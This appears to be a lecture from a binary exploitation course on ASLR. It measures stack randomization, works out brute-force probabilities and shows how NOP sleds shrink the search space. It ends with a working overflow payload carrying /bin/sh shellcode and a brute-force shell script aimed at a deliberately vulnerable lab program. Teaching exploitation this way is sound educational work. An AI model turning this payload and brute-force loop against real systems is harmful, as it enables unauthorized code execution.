Lec. 16: Address Space Layout Randomization
Table of Contents
1 ASLR: Address Space Layout Randomization
So far this semester we've turning off a bunch of security features that have made a lot of our exploits a lot easier. This lesson, we are going to turn one of those: Address Space Layout Randomization, or ASLR.
The purpose of ASLR is to increase the difficulty of performing buffer overflow by randomizing the mapping of the memory at processes load time. What this means practically is that if you have are performing an exploit like so
.-----------. | | | v ./vulnerable 5 <--------padding-----><return-address><shell code>
where you are overwriting the return address with another value on the stack, the address of your shell code will move around. Clearly, this will make things more difficult, but we've got tools to get around this.
In today's lesson we are going to first see how ASLR is ineffective at preventing our attacks for the simple reason that probabilities are on are side — the so called birthday paradox. It also turns out that in some situations, we don't actually have to guess anything. We can leverage the non-randomized parts of the program to do our dirty work for us.
2 How random is random really?
The first thing to do is to investigate how ASLR works. To do that, we
need to first understand a bit how memory is mapped for a
process. Every process has a memory map, managed by the kernel, which
describes what parts of the memory address space are accessible. We
can actually look at the maps of a process use the /proc
file
system.
To do so, we'll consider a small program that just busy waits, which we can run in the background, and then we can look at its maps.
user@si485H-base:demo$ ./busy_wait & [4] 7984 [3] Terminated ./busy_wait user@si485H-base:demo$ cat /proc/7984/maps 08048000-08049000 r-xp 00000000 08:01 321977 /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait 08049000-0804a000 r-xp 00000000 08:01 321977 /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait 0804a000-0804b000 rwxp 00001000 08:01 321977 /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait b7e19000-b7e1a000 rwxp 00000000 00:00 0 b7e1a000-b7fc2000 r-xp 00000000 08:01 161120 /lib/i386-linux-gnu/libc-2.19.so b7fc2000-b7fc4000 r-xp 001a8000 08:01 161120 /lib/i386-linux-gnu/libc-2.19.so b7fc4000-b7fc5000 rwxp 001aa000 08:01 161120 /lib/i386-linux-gnu/libc-2.19.so b7fc5000-b7fc8000 rwxp 00000000 00:00 0 b7fdb000-b7fdd000 rwxp 00000000 00:00 0 b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso] b7fde000-b7ffe000 r-xp 00000000 08:01 163829 /lib/i386-linux-gnu/ld-2.19.so b7ffe000-b7fff000 r-xp 0001f000 08:01 163829 /lib/i386-linux-gnu/ld-2.19.so b7fff000-b8000000 rwxp 00020000 08:01 163829 /lib/i386-linux-gnu/ld-2.19.so bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]
You notice some maps are familiar, such as the stack, and also some
libraries, like libc
. Additionally, you'll see the program code
itself, e.g., the binary file, is also mapped into memory. This is the
entire address space layout as we've seen it so far, and if we were to
try and access out of bounds of this area, we would get a segmentation
fault.
Also, the memory space is not randomized. We can see that is the case if we were to run this program again and look at the maps:
user@si485H-base:demo$ killall busy_wait user@si485H-base:demo$ ./busy_wait & [5] 7988 [4] Terminated ./busy_wait user@si485H-base:demo$ cat /proc/7988/maps 08048000-08049000 r-xp 00000000 08:01 321977 /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait 08049000-0804a000 r-xp 00000000 08:01 321977 /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait 0804a000-0804b000 rwxp 00001000 08:01 321977 /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait b7e19000-b7e1a000 rwxp 00000000 00:00 0 b7e1a000-b7fc2000 r-xp 00000000 08:01 161120 /lib/i386-linux-gnu/libc-2.19.so b7fc2000-b7fc4000 r-xp 001a8000 08:01 161120 /lib/i386-linux-gnu/libc-2.19.so b7fc4000-b7fc5000 rwxp 001aa000 08:01 161120 /lib/i386-linux-gnu/libc-2.19.so b7fc5000-b7fc8000 rwxp 00000000 00:00 0 b7fdb000-b7fdd000 rwxp 00000000 00:00 0 b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso] b7fde000-b7ffe000 r-xp 00000000 08:01 163829 /lib/i386-linux-gnu/ld-2.19.so b7ffe000-b7fff000 r-xp 0001f000 08:01 163829 /lib/i386-linux-gnu/ld-2.19.so b7fff000-b8000000 rwxp 00020000 08:01 163829 /lib/i386-linux-gnu/ld-2.19.so bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]
Same mappings. Now, let's turn on address space randomization.
user@si485H-base:demo$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space 2
If we were to look at the maps again, this time the picture is a bit different:
user@si485H-base:demo$ ./busy_wait & [2] 7999 user@si485H-base:demo$ cat /proc/7999/maps 08048000-08049000 r-xp 00000000 08:01 321977 /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait 08049000-0804a000 r-xp 00000000 08:01 321977 /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait 0804a000-0804b000 rwxp 00001000 08:01 321977 /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait b75cf000-b75d0000 rwxp 00000000 00:00 0 b75d0000-b7778000 r-xp 00000000 08:01 161120 /lib/i386-linux-gnu/libc-2.19.so b7778000-b777a000 r-xp 001a8000 08:01 161120 /lib/i386-linux-gnu/libc-2.19.so b777a000-b777b000 rwxp 001aa000 08:01 161120 /lib/i386-linux-gnu/libc-2.19.so b777b000-b777e000 rwxp 00000000 00:00 0 b7791000-b7793000 rwxp 00000000 00:00 0 b7793000-b7794000 r-xp 00000000 00:00 0 [vdso] b7794000-b77b4000 r-xp 00000000 08:01 163829 /lib/i386-linux-gnu/ld-2.19.so b77b4000-b77b5000 r-xp 0001f000 08:01 163829 /lib/i386-linux-gnu/ld-2.19.so b77b5000-b77b6000 rwxp 00020000 08:01 163829 /lib/i386-linux-gnu/ld-2.19.so bf8fb000-bf91c000 rwxp 00000000 00:00 0 [stack]
In particular, as we care most about the stack, the stack address has changed significantly. Interesting, the address of the text segment has not (which will be important later). If we were to run this a bunch of times, we'd start to see that every time we run the program, we get different values of the stack. Here's a script to do that:
#!/bin/bash for i in `seq 1 1 25` #loop 25 times do ./busy_wait & #run busywait pid=$! #get its pid cat /proc/$pid/maps | grep stack #report its mapping for the stack kill -9 $pid done
And the output:
user@si485H-base:demo$ ./rand_stack.sh 2>/dev/null bf8d5000-bf8f6000 rwxp 00000000 00:00 0 [stack] bfa39000-bfa5a000 rwxp 00000000 00:00 0 [stack] bfa02000-bfa23000 rwxp 00000000 00:00 0 [stack] bfe62000-bfe83000 rwxp 00000000 00:00 0 [stack] bf99d000-bf9be000 rwxp 00000000 00:00 0 [stack] bf9f7000-bfa18000 rwxp 00000000 00:00 0 [stack] bfbd9000-bfbfa000 rwxp 00000000 00:00 0 [stack] bfbdb000-bfbfc000 rwxp 00000000 00:00 0 [stack] bfc18000-bfc39000 rwxp 00000000 00:00 0 [stack] bfaaa000-bfacb000 rwxp 00000000 00:00 0 [stack] bfd70000-bfd91000 rwxp 00000000 00:00 0 [stack] bfe83000-bfea4000 rwxp 00000000 00:00 0 [stack] bf96f000-bf990000 rwxp 00000000 00:00 0 [stack] bfc28000-bfc49000 rwxp 00000000 00:00 0 [stack] bfae4000-bfb05000 rwxp 00000000 00:00 0 [stack] bfd1a000-bfd3b000 rwxp 00000000 00:00 0 [stack] bfd38000-bfd59000 rwxp 00000000 00:00 0 [stack] bfce7000-bfd08000 rwxp 00000000 00:00 0 [stack] bff97000-bffb8000 rwxp 00000000 00:00 0 [stack] bfb1e000-bfb3f000 rwxp 00000000 00:00 0 [stack] bfdc8000-bfde9000 rwxp 00000000 00:00 0 [stack] bfec7000-bfee8000 rwxp 00000000 00:00 0 [stack] bfd5d000-bfd7e000 rwxp 00000000 00:00 0 [stack] bfd79000-bfd9a000 rwxp 00000000 00:00 0 [stack] bfb1e000-bfb3f000 rwxp 00000000 00:00 0 [stack]
2.1 Bits of Entropy
You may notice from above that while there is randomness in the placement of the stack, there is not a huge amount of randomness. The question at hand is how much randomness is really there? Or, more generally, how many bits in the address are really random?
To do that, let's look at a more simple program:
#include <stdio.h> #include <stdlib.h> int main(){ int a =10; printf("%p\n",&a); }
The program just prints the address of a stack defined variable. If we were to run this program once or twice we can see that we are getting different values each time:
user@si485H-base:demo$ ./rand_sample 0xbffe6f4c user@si485H-base:demo$ ./rand_sample 0xbf8e514c user@si485H-base:demo$ ./rand_sample 0xbffcfbbc user@si485H-base:demo$ ./rand_sample 0xbfb34d6c
Now, let's take this a bit further. Here's a python program that will read in these values and determine which of the bits are actually changing across runs:
#!/usr/bin/python import sys def to_bin(v): r = "" for i in range(32): r += str( v & 0x1) v >>= 1 return "".join(reversed(r)) last = None changed = list(to_bin(0xFFFFFFFF)) addr = 0xFFFFFFFF for l in sys.stdin: a = int(l.strip(),16) addr &= a if last == None: last = list(to_bin(a)) else: cur = list(to_bin(a)) for i in range(32): if last[i] != cur[i]: changed[i] = "0" print "Consitent: ", to_bin(addr), hex(addr) print " Changed: ", "".join(changed), 32-sum(map(int,changed))
Bringing these program together:
user@si485H-base:demo$ for i in `seq 1 1 100`; do ./rand_sample ; done | python random_bits.py Consitent: 10111111100000000000000000001100 0xbf80000c Changed: 11111111100000000000000000001111 19
We see that the prefix 0xbf8 and the suffix 0xc persist across runs. In total, only 19 of the 32 bits is random. This is a big difference. Consider that if there was truly 32 bits of randomness, that means there could be 232 possible values to guess, or roughly 4 billion.
On the other hand, 219 is a more tractable number. That's only roughly half a million, which on face value may seam like a lot, but it is significantly smaller than 4 billion. More so, we only have to be right once to exploit the program, and the probability that we are right increases exponentially with each guess.
2.2 Probability of Success
The next question is, given that there are only 19 bits of randomness to play with here, what is our probability of correctly guessing the right return address.
With one guess, that would be 2(-19) or 1/524288, which doesn't seem that good, but we're talking about computers here, so we guess a lot of times. To see how this probability changes in the number of guesses we make, we can treat this like an expectation of a geometric probability calculation.
The idea is that if we were to make n
guesses, what is probability
that we get the right address at least once. At least once
calculations are a bit tough to do, generally, but the inverse
probability is easier. Instead, lets consider the probability of never
getting the address right, and the inverse of that probability would
be the same as getting it right at least once.
The probability of not guessing correctly is calculated as one minus
the probability of guessing correctly (or q
):
So if we were to consider the probility in n
attempts of not
getting it right, that would be
Another way to read this is that after n
independent events, each
with a probability of not guessing correctly, the probability of
getting at least one right, is the inverse of never getting it right.
Here is a small python program that does this calculation for us:
#!/usr/bin/python import sys if __name__ == "__main__": p = float(sys.argv[1]) n = int(sys.argv[2]) q = 1-p for i in range(n+1): prob = 1 - q**(i+1) print i, prob
Running it for \(2^19\), we can start to see the challenge:
user@si485H-base:demo$ ./geometric.py `python -c 'print 1.0/2**19'` 10 0 1.90734863281e-06 1 3.81469362765e-06 2 5.7220349845e-06 3 7.62937270338e-06 4 9.53670678439e-06 5 1.14440372273e-05 6 1.33513640324e-05 7 1.52586871995e-05 8 1.71660067286e-05 9 1.907332262e-05 10 2.09806348732e-05
Our odds are pretty bad, but after a few thousands attempts:
user@si485H-base:demo$ ./geometric.py `python -c 'print 1.0/2**19'` 1000 | tail 991 0.0018903027712 992 0.00189220651437 993 0.00189411025391 994 0.00189601398981 995 0.00189791772208 996 0.00189982145073 997 0.00190172517574 998 0.00190362889712 999 0.00190553261487 1000 0.00190743632898 user@si485H-base:demo$ ./geometric.py `python -c 'print 1.0/2**19'` 10000 | tail 9991 0.0188777855858 9992 0.0188796569279 9993 0.0188815282665 9994 0.0188833996014 9995 0.0188852709328 9996 0.0188871422607 9997 0.018889013585 9998 0.0188908849057 9999 0.0188927562228 10000 0.0188946275363 user@si485H-base:demo$ ./geometric.py `python -c 'print 1.0/2**19'` 100000 | tail 99991 0.173635885806 99992 0.173637461971 99993 0.173639038132 99994 0.173640614291 99995 0.173642190446 99996 0.173643766598 99997 0.173645342748 99998 0.173646918894 99999 0.173648495038 100000 0.173650071178
Things are starting to look a bit better, but not that great. Fortunately, we can do a lot better than this with some careful nop-sledding.
2.3 On ASLR and NOP sleds
In the calculations before we were only considering the situation where we have to get it exactly right, like in the exploit below:
.-----------. | | | v ./vulnerable 5 <--------padding-----><return-address><shell code>
But, we aren't considering the NOP sled, what if we did the following with the exploit:
.---------------. | | | v ./vulnerable 5 <--------padding-----><return-address><'\x90' x 65535 > <shell code>
If our nop sled is large enough, we are essentially taking away some potential randomness because we are can jump anywhwere in the nop sled. For example, consider if we want to overwrite the return address with 0xbfa20000 and we have a nop sled of length 0xffff. Then we can jump anywhere between 0xbfa20000 and 0xbfa2fffff and we would hit the nop sled and reach our shell code. How many bits of randomness remain now?
From before, we saw that the first 13 bits were fixed with the first 9 and the last 4. Now we are saying that whatever the last 16 bits in the address also doesn't matter as well, overlapping with the previously fixed last 4. That leaves only 32-16-9 = 7 bits of randomness to contend with, and that ain't much, just 128 possibilities! The probabilities really start to work in our favor now:
user@si485H-base:demo$ ./geometric.py `python -c 'print 1.0/2**7'` 10 | tail 1 0.0155639648438 2 0.0232548713684 3 0.0308856926858 4 0.0384568982117 5 0.0459689536945 6 0.0534223212437 7 0.060817459359 8 0.0681548229578 9 0.0754348634034 10 0.0826580285331 user@si485H-base:demo$ ./geometric.py `python -c 'print 1.0/2**7'` 100 | tail 91 0.514012476108 92 0.517809253638 93 0.521576368844 94 0.525314053462 95 0.52902253742 96 0.532702048846 97 0.536352814089 98 0.539975057729 99 0.543569002591 100 0.547134869758 user@si485H-base:demo$ ./geometric.py `python -c 'print 1.0/2**7'` 1000 | tail 991 0.999582168385 992 0.999585432694 993 0.999588671501 994 0.999591885005 995 0.999595073404 996 0.999598236893 997 0.999601375667 998 0.99960448992 999 0.999607579842 1000 0.999610645625
After a hundred guesses, we have more than 50% probability of getting it right at least once! So let's make that happen.
3 Brute Forcing
Now that we see how easy it is to guess the right place to jump, let's see what it takes to actually brute force this. The first thing we need to determine is a good place to set up our exploit. From what we've seen, the addresses on the stack can range anywhere between 0xbf80000 and 0xbfffffff, so let's split the hairs (12-8)/2=2 and 2+8 is 0xa. So, let's try and jump to an address in the range 0xbfa00000. We can't send null bytes into our code, so we can use 0xbfbffff as our overwritten return address, and thus any address in the range 0xbfbfffff -> 0xbfa0fffe will work. For the function we are going to exploit, we'll use the vulnerable program from earlier lessons, shown below:
#include <stdio.h> #include <string.h> #include <stdlib.h> void bad(){ printf("You've been naughty!\n"); } void good(){ printf("Go Navy!\n"); } void vuln(int n, char * str){ int i = 0; char buf[32]; strcpy(buf,str); while( i < n ){ printf("%d %s\n",i++, buf); } } int main(int argc, char *argv[]){ vuln(atoi(argv[1]), argv[2]); return 0; }
And here is the exploit string we will use:
./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
The embedded shell code is our 21 byte smallest shell code, and we will put in 0xffff nop's to increase our chances. Here's a little shell script to perform the brute force:
#!/bin/bash let i=1 while true do echo $i $(dmesg | tail -1 | grep -o "sp [^ ]* ") #count plus last failed stack pointer echo ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` let i=i+1 done
The script will print out the number of attempts, and also the address of the stack pointer on the last failed attempt. And off it goes …
./brute_force.sh 1 sp bfe6fff0 ./brute_force.sh: line 11: 16261 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 2 sp bfcf8760 ./brute_force.sh: line 11: 16269 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 3 sp bf809a40 ./brute_force.sh: line 11: 16277 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 4 sp bfcbc9e0 ./brute_force.sh: line 11: 16285 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 5 sp bfd794d0 ./brute_force.sh: line 11: 16293 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 6 sp bfaa49c0 ./brute_force.sh: line 11: 16301 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 7 sp bfac9870 ./brute_force.sh: line 11: 16309 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 8 sp bfa30420 ./brute_force.sh: line 11: 16317 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 9 sp bfd87030 ./brute_force.sh: line 11: 16325 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 10 sp bfa4cc00 ./brute_force.sh: line 11: 16333 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 11 sp bfddb220 ./brute_force.sh: line 11: 16341 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 12 sp bfddb220 ./brute_force.sh: line 11: 16349 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 13 sp bfddb220 ./brute_force.sh: line 11: 16357 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 14 sp bfddb220 ./brute_force.sh: line 11: 16365 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 15 sp bfddb220 ./brute_force.sh: line 11: 16373 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 16 sp bfddb220 ./brute_force.sh: line 11: 16382 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 17 sp bfddb220 ./brute_force.sh: line 11: 16390 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 18 sp bfddb220 ./brute_force.sh: line 11: 16398 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 19 sp bfddb220 ./brute_force.sh: line 11: 16406 Segmentation fault (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"` ./brute_force.sh: line 10: usleep: command not found 20 sp bfddb220 $
This time it took 20 attempts to get it … the next time, maybe more, maybe less. But the odds are ever in our favor :)